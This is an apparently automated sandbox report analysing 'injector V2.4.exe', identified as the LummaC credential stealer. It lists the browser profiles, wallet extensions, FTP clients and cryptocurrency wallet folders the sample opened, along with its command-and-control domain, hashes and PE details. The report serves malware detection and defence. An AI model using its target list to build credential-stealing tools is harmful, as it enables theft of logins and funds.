Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match

File source: Process Memory Space: injector V2.4.exe PID: 6564, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: injector V2.4.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
injector V2.4.exe	42%	ReversingLabs	Win32.Trojan.Generic
injector V2.4.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://property-imper.sbs/apie	0%	Avira URL Cloud	safe
https://property-imper.sbs/m	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiW	0%	Avira URL Cloud	safe
http://crl.microx	0%	Avira URL Cloud	safe
https://property-imper.sbs/apisk	0%	Avira URL Cloud	safe
https://property-imper.sbs/api$I	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiII8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
property-imper.sbs	104.21.33.116	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apie	injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apiW	injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/	injector V2.4.exe, 00000004.00000003.2241245492.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2178099039.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134375818.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2202521642.0000000002C08000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000002.2295771988.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2176641373.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2176971631.00000000052C3000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2273721386.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2273721386.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2223528130.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2199575933.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/m	injector V2.4.exe, 00000004.00000002.2295771988.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api$I	injector V2.4.exe, 00000004.00000003.2176493627.0000000005352000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apisk	injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apiII8	injector V2.4.exe, 00000004.00000003.2176493627.0000000005352000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	injector V2.4.exe, 00000004.00000003.2178125921.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microx	injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294509067.0000000002BFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.33.116	property-imper.sbs	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561470
Start date and time:	2024-11-23 14:10:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	injector V2.4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/0@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 89% Number of executed functions: 40 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target injector V2.4.exe, PID 5268 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: injector V2.4.exe

Simulations

Behavior and APIs

Time	Type	Description
08:11:11	API Interceptor	8x Sleep call for process: injector V2.4.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.33.116	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	Script.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	172.66.0.235
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	104.21.33.116
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.724737400091526
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	injector V2.4.exe
File size:	491'520 bytes
MD5:	c1b5cae419a07b5bfeb4e958510f8637
SHA1:	80c99f320d7b74fb100b51cd98a2ff232e286e63
SHA256:	608864a20a91e6fcacefa06046a522a66dbfe45f3f94adfc32ed89ffcae29907
SHA512:	eba55a7ee08a6be1cda57a97329d97fdb0450f1db9a13a5b88263d21497eeb5c844a5000f46f20de13f82fe92e17e3339031b3806832c0982ee5a30f83255a9b
SSDEEP:	12288:iJB+nneDgkXFEIapcLRDW+vHfQ1n21GwriB4jP/9h:GAoR25pclDWMHQ21IWj/
TLSH:	BBA4E16A76A3E5F3E6A3083441E49BB20A6E7E700F2495FF43601F692F366D18131E57
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...t.@g............................pX............@.......................................@.................................T...<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x415870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740AA74 [Fri Nov 22 15:59:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007FA1ACED4B4Ah
jmp 00007FA1ACED49ADh
mov ecx, dword ptr [0042B5F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FA1ACED4B46h
test esi, ecx
jne 00007FA1ACED4B68h
call 00007FA1ACED4B71h
mov ecx, eax
cmp ecx, edi
jne 00007FA1ACED4B49h
mov ecx, BB40E64Fh
jmp 00007FA1ACED4B50h
test esi, ecx
jne 00007FA1ACED4B4Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0042B5F0h], ecx
not ecx
pop edi
mov dword ptr [0042B5ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042946Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00429430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042942Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004294A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0042C970h
call dword ptr [00429488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x237c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x293c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2169a	0x21800	02aff72e65eaf052f891170e28598361	False	0.550606343283582	data	6.737058354414408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x7264	0x7400	91e5fdecc510d2c4e72b1b50db3c2501	False	0.40641837284482757	data	4.769873714467996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2068	0x1000	f9b2b4b1f63578440eedd0ace5ac94f1	False	0.484375	OpenPGP Secret Key	5.090094544660231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x2e000	0x8	0x200	160c8b290b62e5e566d05ce3bec76423	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1400	0x1400	29fb367912ce622b91120c5cffd84495	False	0.81953125	data	6.557860970753822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x31000	0x4c800	0x4c800	b3054e5e1020a2caf09f7f8b7770c7cc	False	1.0003382863562091	data	7.9993842690073835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, 